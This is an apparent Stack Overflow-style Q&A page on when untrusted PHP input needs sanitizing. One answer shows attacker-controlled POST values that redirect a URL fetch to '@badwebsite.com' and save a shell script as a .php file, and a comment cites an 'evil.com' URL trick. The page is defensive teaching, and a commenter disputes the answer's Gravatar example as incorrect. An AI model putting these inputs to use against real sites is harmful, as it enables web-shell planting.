0

Hope this question is not too unspecific, so...

My question is, when do I actually have to pay attention on how I handle vulnerable variables and when do I not. E.g. it's obviously insecure to use something like ...

echo $_POST['username']; // insecure !!!

in your template. $_GET and $_SERVER variables are said to be vulnerable as well. So I'll have to sanitize them before 'using' them. But what means to 'use' in this context. Insecure would be e.g. to output them e.g. with echo, to write them unfiltered into a DB or to put them in any other open context. On the other hand, comparing them with other variables like in ...

if ($_SESSION['username'] === $_POST['username']) {};

or embedding them into a variable like ...

$file = 'http://www.example.com/users/' . $_POST['username']; // insecure !!! see Tom's answer

and then checking ...

if (file_exists($file)) {};

..., in other words keeping them in a somehow closed context is secure, isn't it? (It seems to me, that the $file-example could be considered as borderline in terms of security, but used that way, I think it's ok?). Maybe someone knows also of cases in which the distinction between open and closed context is not as clear (as I hope they are in my examples) to put attention to them.

Thank you

1
  • 1
    $_SESSION['username'] = $_POST['username'] or $_SESSION['username'] == $_POST['username']? Commented Feb 6, 2015 at 11:53

2 Answers 2

5

It depends on what you're going to do with that file. The username field can pass something that would point you to a file not on that website like:

$_POST['username'] = '@not-the-site-you-want.com/bad_stuff.html';
$file = 'http://www.example.com' . $_POST['username'];

Will resolve to http://not-the-site-you-want.com/bad_stuff.html and will still return true for file_exists($file);.

Lets try a "real world" example of why you don't want to just inject $_POST variables and then trust the results.

Lets say we're going to retrieve a user's picture from an online source (like this one: http://www.gravatar.com/avatar/205e460b479e2e5b48aec07710c08d50) and store it locally:

$username = $_POST['username'];
// We expect 'hash' to contain '/avatar/205e460b479e2e5b48aec07710c08d50'
// See @SilverlightFox's comments below for more information.
$image = 'http://www.gravatar.com' . $_POST['hash'];
if (file_exists($file)) {
    // Now we have the image stored on our local system
    copy($image, 'assets/' . $username);
}

User provides the following information:

$_POST['username'] = 'shell_script.php';
$_POST['hash'] = '@badwebsite.com/shell_script.txt';

You've now just uploaded a shell script to your website that will be accessible at http://www.mywebsite.com/assets/shell_script.php

Half of security is knowing the basics and putting in restrictions. The other half is figuring out how someone could get around the restrictions you've put in place. You're code could be immune to SQL injections and XSS, but it you pass a is_admin flag as a parameter in each page request and honour it, then someone is going to find it and abuse.

Sign up to request clarification or add additional context in comments.

5 Comments

ok, but unless I don't execute code that is dependent on a variable and keep it in this what I called closed context (comparing and assigning), it's secure, right?
Yes... unless the function you use for your comparison or assignment is exploitable if the inputted data is malicious. While these are often fixed in latest releases, a lot of servers don't run the latest version of PHP. For instance, if you assume an uploaded picture is a valid JPEG and attempted to load the EXIF data with exif_read_data(string $filename); you could fall prey to this new 2015 vulnerability.
Unfortunately this is incorrect. username in a URL cannot contain the / character so if the URL starts with a domain and has the closing slash, appending something to the URL cannot change the domain like that. Also IE and Chrome have removed support for the username and password to be specified in URL for exactly this reason. The URL specified would have had to be without path or / though. e.g. http://www.google.com:[email protected]/
You're right about the / character, but remember that this is not a web-browser that will be resolving this url, but PHP. file_get_contents('http://www.google.com:[email protected]/projectX.htm'); will return evil.com/projectX.htm. Hell, even wget doesn't get it right.
Yes, PHP still supports it but your answer regarding Gravatar is wrong as it the base URL contains slashes and is not vulnerable. I'm just suggesting that you update your answer so it is accurate. ps. Don't forget to use @ to notify me of any replies.
1

You should get in the habit of always assuming something malicious will be tried with code you write if it's exposed to the world at large. If you spend your time worrying about which inputs you need to sanitize and which ones you don't, you will make mistakes that leave your application vulnerable.

Sanitizing input doesn't take that much effort once you learn how, and if you get in the habit of doing so you will reduce the area of exposure that can be attacked. Application security isn't about "only fixing the important things", it's about building the entire application with security in mind.

Don't make the bad people's jobs easier.

Comments

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Start asking to get answers

Find the answer to your question by asking.

Ask question

Explore related questions

See similar questions with these tags.